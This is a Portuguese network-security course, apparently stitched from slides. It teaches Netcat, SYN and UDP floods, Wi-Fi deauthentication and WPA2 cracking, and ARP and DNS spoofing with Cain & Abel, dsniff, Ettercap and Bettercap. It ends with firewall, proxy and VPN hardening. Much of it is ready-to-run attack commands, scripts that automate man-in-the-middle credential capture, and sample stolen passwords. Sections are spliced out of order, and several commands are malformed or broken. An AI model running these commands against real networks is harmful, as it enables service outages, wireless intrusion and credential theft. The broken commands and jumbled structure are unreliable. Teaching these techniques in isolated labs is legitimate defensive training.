Objetivos de Aprendizagem

• Compreender e simular técnicas de ataque e defesa em redes cabeadas e sem fio.
• Praticar inspeção de tráfego de rede e técnicas de fortalecimento de perímetro (hardening).
• Analisar vetores avançados, como spoofing, envenenamento de DNS, APTs e vulnerabilidades zero-day.
• Explorar frameworks e soluções de detecção e prevenção, incluindo IDS/IPS, SIEM, EDR/XDR e SOAR.
• Desenvolver habilidades práticas com ferramentas como Netcat, Wireshark, Aircrack-ng, Snort e Suricata.

1. Netcat (“Canivete Suíço” da Rede)

Netcat (nc) é uma ferramenta versátil para manipulação de conexões TCP/UDP. Permite criar servidores, clientes, transferir arquivos e realizar varreduras de portas.

1.1 Chat TCP

Estabelece uma comunicação bidirecional entre duas máquinas via TCP.

# Servidor: escuta na porta 4444
nc -l 4444

# Cliente: conecta ao servidor
nc 192.168.1.10 4444
  

Explicação: O servidor (-l) aguarda conexões na porta especificada. O cliente se conecta ao IP e porta do servidor. Digite mensagens em uma máquina, e elas aparecerão na outra. Use Ctrl+C para encerrar.

1.2 Transferência de Arquivos

Transfere arquivos ou diretórios entre máquinas sem necessidade de protocolos como FTP.

# Servidor: compacta e envia diretório
tar czf - ./dados | nc -l 5555

# Cliente: recebe e descompacta
nc 192.168.1.10 5555 | tar xzf -
  

Explicação: O comando tar compacta o diretório dados, que é enviado via nc. O cliente recebe o fluxo e descompacta diretamente. Teste com um diretório pequeno para verificar a integridade.

1.3 Scan de Portas TCP

Identifica portas abertas em um intervalo de IPs.

nc -zv 192.168.1.0/24 22-1024
  

Explicação: -z evita enviar dados, -v exibe detalhes, e a faixa 22-1024 verifica portas comuns. A saída mostra portas abertas (e.g., "succeeded"). Útil para mapeamento de rede, mas exige cuidado em redes não autorizadas.

1.4 Exercício Prático

Configure dois terminais: um como servidor (nc -l 9999) e outro como cliente (nc localhost 9999). Envie uma mensagem e capture o tráfego com Wireshark (filtro: tcp.port == 9999). Analise os pacotes trocados.

2. Ataques de Negação de Serviço (DoS/DDoS)

DoS e DDoS visam sobrecarregar recursos de rede, tornando serviços indisponíveis. Testes devem ser feitos apenas em ambientes controlados.

2.1 SYN Flood com hping3

Inunda o alvo com pacotes SYN, esgotando a tabela de conexões TCP.

# Enviar pacotes SYN para a porta 80
hping3 -S 192.168.1.10 -p 80 --flood
  

Explicação: -S define pacotes SYN, --flood envia rapidamente sem esperar respostas. O alvo pode ficar lento ou parar de responder. Monitore com tcpdump (tcp port 80) para observar o tráfego.

2.2 T50 (Multi-Vector DoS)

Gera tráfego massivo com diferentes protocolos (e.g., UDP, TCP).

# UDP flood com pacotes de 1470 bytes
t50 --udp -d 1470 192.168.1.10
  

Explicação: --udp especifica o protocolo, -d define o tamanho do pacote. O T50 pode combinar múltiplos vetores, tornando-o eficaz para testes de estresse. Use em um ambiente isolado.

2.3 Mitigação

Configure um firewall para limitar conexões por IP:

sudo iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 50 -j DROP
  

Explicação: Restringe conexões SYN simultâneas por IP, mitigando floods. Teste o ataque antes e depois da regra para comparar o impacto.

3. Redes Sem Fio – Análise e Ataques

Redes Wi-Fi são vulneráveis a interceptações e ataques de desautenticação. A suite aircrack-ng é amplamente usada para testes de segurança.

3.1 Suite aircrack-ng

• Modo Monitor:

  airmon-ng start wlan0

  Explicação: Coloca a interface wlan0 em modo monitor (wlan0mon), permitindo capturar pacotes sem se conectar à rede. Verifique com iwconfig.

• Captura de Handshake:

  airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon

  Explicação: --bssid filtra um AP específico, -c define o canal, -w salva a captura. O handshake aparece no topo da tela quando capturado.

• Deauth:

  aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

  Explicação: Envia 5 pacotes de desautenticação (-a especifica o AP), forçando clientes a se reconectarem e revelar o handshake.

• Quebra de WPA2:

  aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

  Explicação: Tenta combinar a senha do handshake com a wordlist. Rockyou é uma lista popular, mas senhas complexas exigem listas maiores ou GPUs.

3.2 Exercício Prático

Configure um AP de teste (e.g., roteador doméstico com WPA2). Use aircrack-ng para capturar o handshake e tente quebrar a senha com rockyou.txt. Documente o tempo necessário e analise as limitações.

3.3 Protocolos Wi-Fi

• WEP: Obsoleto, usa RC4 fraco, quebrável em minutos com aircrack-ng.
• WPA/WPA2: Usa PSK com TKIP (inseguro) ou AES (recomendado). Vulnerável a ataques de força bruta.
• WPA3: Introduz SAE (Dragonfly), resistente a ataques offline de dicionário.
• 802.1X/EAP: Usado em redes corporativas com autenticação via certificados (EAP-TLS) ou credenciais (PEAP).

4. Inspeção Profunda de Tráfego

Analisar tráfego de rede é essencial para detectar atividades maliciosas. Ferramentas como Wireshark e tcpdump são fundamentais.

4.1 Wireshark

Interface gráfica para análise de pacotes.

# Filtrar tráfego HTTP
http

# Seguir uma conexão TCP
Right-click → Follow → TCP Stream

# Exportar objetos HTTP (e.g., imagens)
File → Export Objects → HTTP
  

Explicação: O filtro http mostra apenas pacotes HTTP. "Follow TCP Stream" reconstrói a conversa, útil para analisar payloads. Exportar objetos recupera arquivos transferidos.

4.2 tcpdump

Ferramenta de linha de comando para captura de pacotes.

# Capturar pacotes TCP na porta 443 e salvar
sudo tcpdump -i eth0 tcp port 443 -w dump.pcap

# Filtrar conexões SSH de um host
sudo tcpdump -nn -i eth0 host 10.0.0.5 and port 22
  

Explicação: -i especifica a interface, -w salva em um arquivo pcap, -nn desativa resolução de nomes. Use Wireshark para abrir o arquivo salvo.

4.3 Bettercap

Ferramenta moderna para sniffing e ataques MITM.

# Iniciar sniffing de rede
sudo bettercap -eval "net.probe on; net.sniff on"

# Executar ARP spoofing com injeção de JavaScript
sudo bettercap -X --proxy-module injectjs --js-file script.js
  

Explicação: net.sniff captura pacotes, --proxy-module injeta código em páginas HTTP. Crie um script.js com alert("MITM!"); para testar a injeção.

4.4 Exercício Prático

Capture tráfego HTTPS (porta 443) com tcpdump em um ambiente de teste. Abra o arquivo em Wireshark e aplique o filtro tls. Identifique o domínio acessado (via SNI) e discuta por que o conteúdo está criptografado.

Cain & Abel

O uso de Cain & Abel (Windows) e dsniff (Unix/Linux) para sniffing (captura de dados de rede) e spoofing (manipulação de tráfego). Essas ferramentas simulam ataques como Man-in-the-Middle (MITM) para capturar credenciais e analisar protocolos, sendo úteis em testes éticos de segurança. Abaixo, explico cada ferramenta com exemplos práticos, saídas esperadas, comandos detalhados e cenários reais.

1. Cain & Abel (Windows)

Visão Geral

Cain & Abel é uma ferramenta gráfica para Windows que combina sniffing, ARP spoofing, análise de protocolos e quebra de dados. É amplamente usada em pentests para testar a segurança de redes locais, capturando credenciais em texto claro e quebrando hashes.

Funcionalidades Principais

• Sniffer: Captura pacotes de rede, filtrando credenciais de protocolos como HTTP, FTP, POP3 e SMB.
• ARP Poisoning (APR): Envenena tabelas ARP para interceptar tráfego entre vítima e gateway, permitindo MITM.
• Cracking: Realiza ataques de força bruta ou dicionário contra hashes LM/NTLM capturados.

Pré-requisitos

• Windows XP/7 (ou VM compatível).
• WinPcap instalado (driver para captura de pacotes).
• Permissões de administrador.
• Download: Disponível em repositórios confiáveis (verifique hashes MD5 para segurança).

Exemplo Prático: ARP Spoofing + Captura de Credenciais

Cenário: Em um laboratório, você é um pentester testando a rede 192.168.1.0/24. O alvo é 192.168.1.10, e o gateway é 192.168.1.1. Você usará Cain & Abel para interceptar credenciais HTTP.

1. Configurar o Sniffer:

   Abra o Cain & Abel como administrador. Vá em Configure → Sniffer e selecione a interface de rede (ex.: Ethernet).

   Saída Esperada:

   Interface selecionada: Realtek PCIe Adapter (192.168.1.100)

   Explicação: Define a interface para captura de pacotes. Certifique-se de estar na mesma sub-rede do alvo.

2. Iniciar ARP Poisoning:

   Ative o modo sniffer (botão na barra superior). Vá em APR, clique em “+” e adicione o par IP-alvo (192.168.1.10) e IP-gateway (192.168.1.1). Clique em “Start APR”.

   Saída Esperada:

   APR started: Poisoning 192.168.1.10 <->192.168.1.1
             

   Explicação: O Cain & Abel envia pacotes ARP, convencendo o alvo e o gateway de que seu MAC é o correto, redirecionando o tráfego por você.

Capturar Credenciais:

Vá em Passwords → Network. Quando o alvo acessar sites HTTP, as credenciais aparecerão.

Saída Esperada:

HTTP: 192.168.1.10 -> www.example.com/login
User: alice
Pass: P@ssw0rd!
          

Explicação: Credenciais HTTP não criptografadas (sem HTTPS) são capturadas em tempo real.

3. Quebrar Hashes:

   Se capturar um hash NTLM (ex.: via SMB), vá em Cracker → LM & NTLM Hashes, selecione o hash e clique em “Start” com uma wordlist (ex.: rockyou.txt).

   Saída Esperada:

   Hash: aad3b435b51404ee...
   Password: Password123
             

   Explicação: Usa força bruta ou dicionário para revelar a senha original.

Comandos Relacionados

Embora o Cain & Abel seja GUI, você pode verificar o status da rede no Windows:

arp -a

Saída Esperada:

192.168.1.10  00-14-22-01-23-45  dynamic
192.168.1.1             dynamic
      

Explicação: Confirma que a tabela ARP foi envenenada, associando o IP do gateway ao seu MAC.

Dicas Acadêmicas

• Documentação: Capture screenshots do Cain & Abel para relatórios.
• Testes Seguros: Use VMs em redes isoladas (ex.: VirtualBox com NAT).
• HTTPS: Note que HTTPS (TLS) impede captura de credenciais em texto claro. Teste SSL Stripping para cenários avançados.
• Prática: Configure um laboratório com duas VMs (alvo e gateway) para simular o ataque.

2. dsniff (Unix/Linux)

Visão Geral

dsniff é um conjunto de ferramentas de linha de comando para Unix/Linux, projetado para sniffing, spoofing e captura automatizada de credenciais em texto claro. É ideal para pentesters que preferem automação e scripts.

Utilitários Principais

• arpspoof: Envenena tabelas ARP para redirecionar tráfego.
• dsniff: Captura credenciais de protocolos como HTTP, FTP, POP3 e Telnet.
• filesnarf: Extrai arquivos transferidos via NFS.
• urlsnarf: Registra URLs acessadas via HTTP.
• dnsspoof: Forja respostas DNS para redirecionar tráfego.

Pré-requisitos

• Kali Linux ou Parrot OS (dsniff pré-instalado).
• Instalação manual: `sudo apt install dsniff`.
• Permissões de root para manipulação de rede.
• Rede local com alvos acessíveis (ex.: 192.168.1.0/24).

Exemplo Prático: ARP Spoofing + Captura de Credenciais HTTP

Cenário: Em um laboratório, você é um pentester na rede 192.168.1.0/24. O alvo é 192.168.1.10, e o gateway é 192.168.1.1. Você usará dsniff para capturar credenciais HTTP.

1. Habilitar IP Forwarding:

   Permite redirecionar pacotes entre alvo e gateway:

   sudo echo 1 > /proc/sys/net/ipv4/ip_forward

   Saída Esperada: Nenhuma saída visível.

   Explicação: Ativa o encaminhamento de pacotes, essencial para MITM sem interromper a conexão do alvo.

   Verifique:

   cat /proc/sys/net/ipv4/ip_forward

   Saída Esperada:

   1

2. Envenenar Tabelas ARP:

   Use arpspoof para enganar o alvo e o gateway:

   sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 &

   Saída Esperada:

   00:14:22:01:23:45 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.1.1 is-at 
             

   Em outro terminal:

   sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.10 &

   Explicação: Envia pacotes ARP falsos, associando seu MAC aos IPs do alvo e gateway, redirecionando o tráfego por você.

3. Capturar Credenciais com dsniff:

   Inicie o dsniff para monitorar tráfego HTTP/FTP:

   sudo dsniff -i eth0

   Saída Esperada:

   dsniff: listening on eth0
   -----------------
   [HTTP] 192.168.1.10 -> www.example.com/login
   user: alice
   pass: P@ssw0rd!
   -----------------
   [FTP] 192.168.1.10 -> ftp.example.com
   user: bob
   pass: ftp123
             

   Explicação: Captura credenciais em texto claro de protocolos não criptografados.

4. Monitorar URLs com urlsnarf:

   Para registrar URLs acessadas:

   sudo urlsnarf -i eth0

   Saída Esperada:

   urlsnarf: listening on eth0 [tcp port 80]
   192.168.1.10 - - [12/Jun/2025:10:15:00] "GET http://www.example.com/login HTTP/1.1" - - "Mozilla/5.0"
             

   Explicação: Registra atividades web, útil para mapear comportamento do alvo.

Comandos Adicionais

Testar DNS Spoofing:

# Crie um arquivo hosts.txt
echo "192.168.1.100 www.example.com" > hosts.txt

# Inicie dnsspoof
sudo dnsspoof -i eth0 -f hosts.txt

Saída Esperada:

dnsspoof: listening on eth0 [udp dst port 53]
192.168.1.10 -> www.example.com A 192.168.1.100
      

Explicação: Redireciona consultas DNS para um IP falso, simulando um site malicioso.

Dicas Acadêmicas

• Scripting: Automatize o processo:

  #!/bin/bash
  echo 1 > /proc/sys/net/ipv4/ip_forward
  arpspoof -i eth0 -t $1 $2 &
  arpspoof -i eth0 -t $2 $1 &
  dsniff -i eth0

  Exemplo: `./mitm.sh 192.168.1.10 192.168.1.1`

• Laboratório: Configure VMs (Kali, Ubuntu como alvo, roteador virtual) para prática segura.
• Limitações: HTTPS bloqueia captura de credenciais. Explore SSL Stripping com Bettercap para contornar.
• Monitoramento: Use `tcpdump` para validar o tráfego:

  sudo tcpdump -i eth0 host 192.168.1.10

Comparação: Cain & Abel vs. dsniff

• Cain & Abel: Ideal para Windows, interface gráfica, fácil para iniciantes, mas desatualizado.
• dsniff: Flexível, baseado em CLI, preferido em Linux, mas exige mais conhecimento técnico.
• Uso Comum: Ambos simulam MITM via ARP spoofing, capturam credenciais e testam segurança de redes.

Conclusão

Cain & Abel e dsniff são ferramentas clássicas para sniffing e spoofing, úteis para entender ataques MITM e testar redes. Alunos devem praticar em ambientes controlados, documentar saídas (ex.: capturas de tela, logs) e explorar alternativas modernas como Bettercap. A ética é fundamental: respeite as leis e use apenas em testes autorizados.

Introdução

Ettercap é uma ferramenta poderosa para realizar ataques Man-in-the-Middle (MITM) em redes locais (LAN), suportando ARP Poisoning, DNS Spoofing e sniffing de tráfego em tempo real. É amplamente usada em pentests éticos para testar a segurança de redes, capturando credenciais e manipulando dados. Este slide expande o uso do Ettercap com exemplos práticos, saídas detalhadas e cenários educacionais.

Introdução

Wireshark é uma ferramenta gráfica de código aberto para captura e análise de pacotes de rede em tempo real. É amplamente usada em cibersegurança para depurar redes, investigar ataques e realizar pentests éticos. Este slide expande o uso básico do Wireshark, focando na análise de tráfego HTTP, com exemplos práticos, saídas detalhadas e cenários educacionais.

1. Visão Geral do Wireshark

O Wireshark captura pacotes de rede (ex.: Ethernet, Wi-Fi) e exibe detalhes como protocolos, IPs, portas e payloads. Suas principais funcionalidades incluem:

• Captura em Tempo Real: Registra tráfego de interfaces de rede.
• Filtros: Permite isolar pacotes por protocolo (ex.: HTTP, DNS), IP ou porta.
• Análise de Fluxo: Reconstrói sessões TCP/UDP para visualizar diálogos cliente-servidor.
• Exportação: Salva capturas em formatos como .pcapng para análise offline.

Pré-requisitos

• Kali Linux, Parrot OS, Windows ou macOS.
• Instalação: sudo apt install wireshark (Linux) ou download em wireshark.org.
• Permissões de root para captura (Linux: configure com sudo dpkg-reconfigure wireshark-common).
• Npcap (Windows) ou libpcap (Linux) para captura de pacotes.

2. Iniciar Captura

Objetivo

Iniciar a captura de pacotes em uma interface de rede (ex.: eth0).

Cenário

Você é um pentester analisando tráfego HTTP em um laboratório com rede 192.168.1.0/24. Sua máquina (Kali, 192.168.1.100) capturará pacotes de um alvo (192.168.1.10) acessando um site HTTP.

Passos Detalhados

1. Abrir Wireshark:

   Inicie o Wireshark (GUI):

   wireshark &

   Saída Esperada: Interface gráfica com lista de interfaces (ex.: eth0, wlan0).

   Explicação: Cada interface representa um adaptador de rede. Escolha a ativa (ex.: eth0 para Ethernet).

2. Selecionar Interface:

   Duplo clique em eth0 ou clique em “Start” após selecioná-la.

   Saída Esperada:

   Capturing on 'eth0'
   Packets: 100... 200...
             

   Explicação: Pacotes começam a aparecer na janela principal, com colunas como origem, destino, protocolo e informações.

3. Validar com tshark (CLI):

   Alternativamente, use tshark para captura via terminal:

   tshark -i eth0

   Saída Esperada:

   1 0.000000 192.168.1.10 → 192.168.1.1 TCP 74 49152 → 80 [SYN]
   2 0.000123 192.168.1.1 → 192.168.1.10 TCP 74 80 → 49152 [SYN, ACK]
             

   Explicação: Lista pacotes em tempo real, útil para automação.

Dicas Acadêmicas

• Interfaces: Use ifconfig ou ip a para identificar a interface correta.
• Volume: Redes movimentadas geram muitos pacotes. Aplique filtros de captura para reduzir dados.
• Documentação: Capture screenshots da interface Wireshark para relatórios.

3. Filtrar Tráfego HTTP

Objetivo

Isolar pacotes HTTP para analisar requisições e respostas web.

Passos Detalhados

1. Aplicar Filtro HTTP:

   Na barra de filtro (verde), digite:

   http

   Pressione Enter.

   Saída Esperada:

   No.  Time        Source         Destination    Protocol  Info
   1    0.000000    192.168.1.10   93.184.216.34  HTTP      GET /login HTTP/1.1
   2    0.001234    93.184.216.34  192.168.1.10   HTTP      HTTP/1.1 200 OK
             

   Explicação: Mostra apenas pacotes HTTP (porta 80), como requisições GET/POST.

2. Filtro de Captura:

   Antes de iniciar a captura, use um filtro de captura para reduzir dados:

   tcp port 80

   Informe na janela de captura (opção “Capture Filter”).

   Saída Esperada: Apenas pacotes na porta 80 são capturados.

   Explicação: Diferente do filtro de exibição, o filtro de captura descarta outros pacotes, economizando recursos.

3. Filtro Combinado (HTTP e DNS):

   Use o filtro sugerido no slide:

   tcp port 80 or udp port 53

   Saída Esperada:

   No.  Time        Source         Destination    Protocol  Info
   1    0.000000    192.168.1.10   8.8.8.8        DNS       Standard query A www.example.com
   2    0.001234    192.168.1.10   93.184.216.34  HTTP      GET /login HTTP/1.1
             

   Explicação: Captura tráfego HTTP (TCP/80) e DNS (UDP/53), útil para analisar navegação web.

4. Filtro Avançado (Credenciais):

   Para capturar POSTs com credenciais:

   http.request.method == POST

   Saída Esperada:

   No.  Time        Source         Destination    Protocol  Info
   1    0.000000    192.168.1.10   93.184.216.34  HTTP      POST /login HTTP/1.1
             

   Explicação: Isola requisições POST, comuns em formulários de login.

Dicas Acadêmicas

• Filtros: Consulte a documentação de filtros para sintaxe avançada.
• Prática: Configure um site HTTP local (ex.: DVWA) para gerar tráfego testável.
• Automatização: Use tshark para filtros CLI:

  tshark -i eth0 -f "tcp port 80" -Y "http.request.method == POST"

4. Seguir Fluxo TCP

Objetivo

Reconstruir uma sessão HTTP para visualizar o diálogo cliente-servidor, como um formulário de login.

Passos Detalhados

1. Selecionar Pacote HTTP:

   Filtre por http, clique com o botão direito em um pacote (ex.: POST /login) e selecione Follow ▶ TCP Stream.

   Saída Esperada:

   POST /login HTTP/1.1
   Host: www.example.com
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 27
   
   username=alice&password=P@ssw0rd!
   
   HTTP/1.1 200 OK
   Content-Type: text/html
   Content-Length: 123
   
   Login successful
             

   Explicação: Mostra a requisição (POST com credenciais) e a resposta (HTML de sucesso).

2. Análise:

   Observe credenciais em texto claro (HTTP) ou cookies de sessão. Em HTTPS, o payload estará criptografado.

   Explicação: Fluxos TCP são úteis para depurar ou identificar vazamentos de dados.

3. tshark Alternativa:

   Extraia fluxos via CLI:

   tshark -r capture.pcap -Y "http" -z follow,tcp,ascii,0

   Saída Esperada: Similar à GUI, com requisição e resposta em texto.

Dicas Acadêmicas

• HTTPS: Use SSL Stripping (ex.: Bettercap) em laboratórios para capturar tráfego criptografado.
• Documentação: Salve fluxos TCP como texto (botão “Save As” na janela de fluxo).
• Prática: Teste com um formulário de login em um site HTTP local.

5. Exportar Resultado

Objetivo

Salvar pacotes capturados para análise offline ou compartilhamento.

Passos Detalhados

1. Exportar Pacotes:

   Vá em File ▶ Export Specified Packets, selecione “All packets” ou “Displayed” (filtrados) e salve como .pcapng.

   Saída Esperada: Arquivo capture.pcapng criado.

   Explicação: O formato .pcapng preserva metadados e é compatível com outras ferramentas.

2. Exportar com tshark:

   Salve pacotes filtrados via CLI:

   tshark -i eth0 -f "tcp port 80" -w http_capture.pcapng

   Saída Esperada: Arquivo http_capture.pcapng criado.

3. Analisar Offline:

   Abra o arquivo:

   wireshark http_capture.pcapng &

   Explicação: Permite revisar pacotes sem recapturar.

Dicas Acadêmicas

• Compartilhamento: Use .pcapng para relatórios ou colaboração em equipe.
• Segurança: Evite compartilhar capturas com dados sensíveis (ex.: senhas).
• Automatização: Crie um script para capturas periódicas:

  #!/bin/bash
  tshark -i eth0 -f "tcp port 80 or udp port 53" -w capture_$(date +%F_%H%M).pcapng -a duration:60
          

  Captura por 60 segundos com timestamp.

6. Diagrama Interativo: Fluxo de Captura

Ilustração do processo de captura de pacotes com Wireshark:

Explicação: O Wireshark intercepta pacotes entre cliente e servidor, permitindo análise detalhada do tráfego.

7. Conclusão

O Wireshark é uma ferramenta essencial para análise de redes, permitindo capturar, filtrar e inspecionar pacotes com precisão. Alunos devem praticar em laboratórios éticos, usar filtros para otimizar capturas e documentar resultados (ex.: screenshots, arquivos pcapng). Para avançar, explore filtros complexos, tshark e integração com ferramentas como Ettercap ou Splunk.

1. Visão Geral do Ettercap

O Ettercap é um framework flexível disponível para Linux (Kali, Parrot OS), com interfaces gráfica (-G) e texto (-T). Ele permite:

• Sniffing: Captura pacotes para extrair credenciais de protocolos como HTTP, FTP, SMTP.
• ARP Poisoning: Engana dispositivos em uma LAN, redirecionando tráfego pelo atacante.
• DNS Spoofing: Forja respostas DNS para redirecionar vítimas a sites maliciosos.
• Plugins: Extensões como dns_spoof e passwords ampliam funcionalidades.

Pré-requisitos

• Kali Linux/Parrot OS (Ettercap pré-instalado).
• Instalação: sudo apt install ettercap-common ettercap-graphical.
• Permissões de root.
• Rede local (ex.: 192.168.1.0/24) com alvos acessíveis.

2. ARP Poisoning com Ettercap

Objetivo

Realizar um ataque MITM via ARP Poisoning, interceptando tráfego entre um alvo (192.168.1.10) e o gateway (192.168.1.1).

Cenário

Você é um pentester em um laboratório com rede 192.168.1.0/24. Sua máquina (Kali, 192.168.1.100) realizará MITM entre o alvo e o gateway.

Passos Detalhados

1. Habilitar IP Forwarding:

   Permite redirecionar pacotes sem interromper a conexão:

   sudo echo 1 > /proc/sys/net/ipv4/ip_forward

   Saída Esperada: Nenhuma saída visível.

   Explicação: Ativa o encaminhamento de pacotes, essencial para o MITM. Verifique:

   cat /proc/sys/net/ipv4/ip_forward

   Saída Esperada:

   1

2. Iniciar ARP Poisoning (Modo Texto):

   Use Ettercap para envenenar tabelas ARP:

   sudo ettercap -T -q -M arp:remote /192.168.1.10/ /192.168.1.1/

   Parâmetros:

   • -T: Modo texto.
   • -q: Modo silencioso (menos verboso).
   • -M arp:remote: Realiza ARP Poisoning bidirecional.
   • /192.168.1.10/: IP do alvo.
   • /192.168.1.1/: IP do gateway.

   Saída Esperada:

   Ettercap 0.8.3.1 started
   Scanning for merged targets (2 hosts)...
   ARP poisoning victims:
   GROUP 1: 192.168.1.10 00:14:22:01:23:45
   GROUP 2: 192.168.1.1  00:16:17:02:34:56
   Starting Unified sniffing...
             

   Explicação: O Ettercap envia pacotes ARP falsos, associando seu MAC aos IPs do alvo e gateway, redirecionando o tráfego por você.

3. Validar o Ataque:

   No alvo (192.168.1.10), verifique a tabela ARP:

   arp -a

   Saída Esperada:

   192.168.1.1    dynamic
             

   Explicação: Confirma que o gateway está associado ao MAC do atacante.

   Monitore o tráfego com tcpdump:

   sudo tcpdump -i eth0 host 192.168.1.10

   Saída Esperada:

   10:15:00.123456 IP 192.168.1.10.80 > 192.168.1.100.12345: Flags [P.], seq 1:100
             

Dicas Acadêmicas

• Documentação: Salve logs do Ettercap (ettercap -T -o log.txt) para relatórios.
• Laboratório: Configure VMs (Kali, Ubuntu como alvo, roteador virtual) em VirtualBox.
• Segurança: Desative o ataque com Ctrl+C e restaure tabelas ARP:

  sudo arp -s 192.168.1.1 

3. Sniffing de Senhas

Objetivo

Capturar credenciais de protocolos inseguros (HTTP, FTP, SMTP) durante o MITM.

Passos Detalhados

1. Modo Gráfico (GTK):

   Inicie o Ettercap com interface gráfica:

   sudo ettercap -G

   Saída Esperada: Janela GTK com opções de configuração.

   Explicação: Interface amigável para iniciantes. Navegue até Plugins → Manage the plugins.

2. Ativar Plugin de Senhas:

   Selecione o plugin passwords e ative-o.

   Saída Esperada:

   Plugin 'passwords' activated
             

   Explicação: O plugin filtra credenciais de protocolos como HTTP, FTP e SMTP.

3. Iniciar Sniffing:

   Configure o MITM (como no passo anterior) e inicie a captura. As credenciais aparecerão na aba Passwords ou no terminal.

   Saída Esperada:

   HTTP : 192.168.1.10:80 -> USER: alice  PASS: P@ssw0rd!  INFO: www.example.com/login
   FTP  : 192.168.1.10:21 -> USER: bob    PASS: ftp123     INFO: ftp.example.com
             

   Explicação: Credenciais em texto claro são capturadas de protocolos não criptografados.

4. Modo Texto (Alternativa):

   Use o plugin diretamente na CLI:

   sudo ettercap -T -q -M arp /192.168.1.10/ /192.168.1.1/ -P passwords

   Saída Esperada: Mesma saída de credenciais no terminal.

Dicas Acadêmicas

• HTTPS Limitações: Protocolos com TLS (HTTPS) não revelam credenciais. Explore SSL Stripping com Bettercap para cenários avançados.
• Automação: Crie um script Bash:

  #!/bin/bash
  echo 1 > /proc/sys/net/ipv4/ip_forward
  ettercap -T -q -M arp /${1}/ /${2}/ -P passwords
          

  Exemplo: ./sniff.sh 192.168.1.10 192.168.1.1

• Prática: Teste em um site HTTP local (ex.: DVWA em uma VM).

4. DNS Spoofing

Objetivo

Redirecionar vítimas para um site falso forjando respostas DNS durante o MITM.

Passos Detalhados

1. Configurar etter.dns:

   Edite o arquivo de configuração DNS:

   sudo nano /etc/ettercap/etter.dns

   Adicione:

   
   www.example.com A 192.168.1.100
   *.example.com   A 192.168.1.100
           

   Explicação: Redireciona consultas para `www.example.com` ao IP do atacante (192.168.1.100), onde um site falso pode estar hospedado.

2. Iniciar DNS Spoofing:

   Combine ARP Poisoning com o plugin dns_spoof:

   sudo echo 1 > /proc/sys/net/ipv4/ip_forward
   sudo ettercap -T -q -M arp /192.168.1.10/ /192.168.1.1/ -P dns_spoof

   Saída Esperada:

   dns_spoof: A [www.example.com] spoofed to [192.168.1.100]
             

   Explicação: Quando o alvo acessar `www.example.com`, será redirecionado ao IP do atacante.

3. Hospedar Site Falso:

   Inicie um servidor web no Kali:

   sudo python3 -m http.server 80

   Saída Esperada:

   Serving HTTP on 0.0.0.0 port 80
   192.168.1.10 - - [12/Jun/2025 10:15:00] "GET / HTTP/1.1" 200 -
             

   Explicação: O alvo acessa o site falso hospedado no seu IP.

4. Validar com Wireshark:

   Monitore consultas DNS:

   sudo wireshark -i eth0

   Saída Esperada: Filtro `dns.qry.name == www.example.com` mostra respostas com 192.168.1.100.

Dicas Acadêmicas

• Segurança: Use um site falso ético (ex.: página de aviso) no laboratório.
• Documentação: Capture logs do Ettercap e Wireshark para relatórios.
• Mitigação: Em redes reais, DNSSEC e HSTS dificultam DNS Spoofing.

5. Diagrama Interativo: Fluxo do Ataque MITM

Ilustração do ataque MITM com ARP Poisoning:

Explicação: O atacante envia pacotes ARP falsos, redirecionando o tráfego do alvo e gateway por sua máquina, permitindo sniffing ou spoofing.

6. Conclusão

O Ettercap é uma ferramenta versátil para MITM, sniffing e spoofing, ideal para pentesters testarem redes LAN. Alunos devem praticar em laboratórios éticos, documentar saídas (logs, capturas de tela) e explorar plugins adicionais. Para cenários modernos, combine com Bettercap ou Wireshark para análises avançadas.

5. Proteção de Rede

Fortalecer a segurança de rede envolve configurar firewalls, proxies, VPNs e protocolos seguros.

5.1 Firewalls

IPTables é usado para definir regras de filtragem de pacotes.

# Bloquear tudo, exceto SSH na porta 5849
sudo iptables -P INPUT DROP
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 5849 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT
  

Explicação: -P INPUT DROP bloqueia todo tráfego de entrada. As regras permitem loopback, SSH (5849) e conexões estabelecidas. Teste com nc -zv localhost 5849.

5.2 Proxies

Squid é um proxy HTTP para controle de acesso.

# Instalar e configurar
sudo apt-get install squid
# Editar /etc/squid/squid.conf
acl localnet src 192.168.1.0/24
http_access allow localnet
# Reiniciar
sudo systemctl restart squid
  

Explicação: Define a rede permitida (localnet) e libera acesso HTTP. Configure um navegador para usar o proxy e teste a navegação.

5.3 VPN – OpenVPN

Cria túneis seguros para comunicação remota.

# Servidor: gerar chaves e iniciar
sudo apt-get install openvpn easy-rsa
make-cadir /etc/openvpn/easy-rsa
cd /etc/openvpn/easy-rsa
./easyrsa init-pki
./easyrsa build-ca
./easyrsa gen-dh
./easyrsa build-server-full server nopass
sudo openvpn --config /etc/openvpn/server.conf

# Cliente: conectar
sudo openvpn --config client.ovpn
  

Explicação: EasyRSA cria uma PKI. O servidor usa server.conf para escutar conexões. O cliente usa client.ovpn com certificados gerados. Verifique a conexão com ping.

5.4 Protocolos Seguros

• IPsec:

  sudo apt-get install strongswan
  sudo ipsec up conexao

  Configura túneis seguros entre redes.
• DNSSEC:

  dig +dnssec example.com

  Verifica assinaturas DNS para prevenir envenenamento.
• SPF/DKIM/DMARC: Configurar registros TXT no DNS para validar e-mails.

5.5 NAT (Masquerade)

# Habilitar NAT para saída
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo sysctl -w net.ipv4.ip_forward=1
  

Explicação: Permite que dispositivos em uma rede interna acessem a Internet via um gateway. ip_forward habilita o roteamento.

6. Aprofundando em Vetores de Ataque

Vetores avançados exploram falhas humanas e técnicas.

• Engenharia Social: Configure um portal cativo falso com hostapd e dnsmasq para capturar credenciais.
• IP & ARP Spoofing:

  sudo arpspoof -i eth0 -t 192.168.1 -r 10.192.168.1

  Explicação: Redireciona o tráfego da vítima para o atacante, permitindo MITM. Use Wireshark para capturar pacotes.

• DNS Poisoning:

  dnsspoof -i eth0 -f hosts.txt

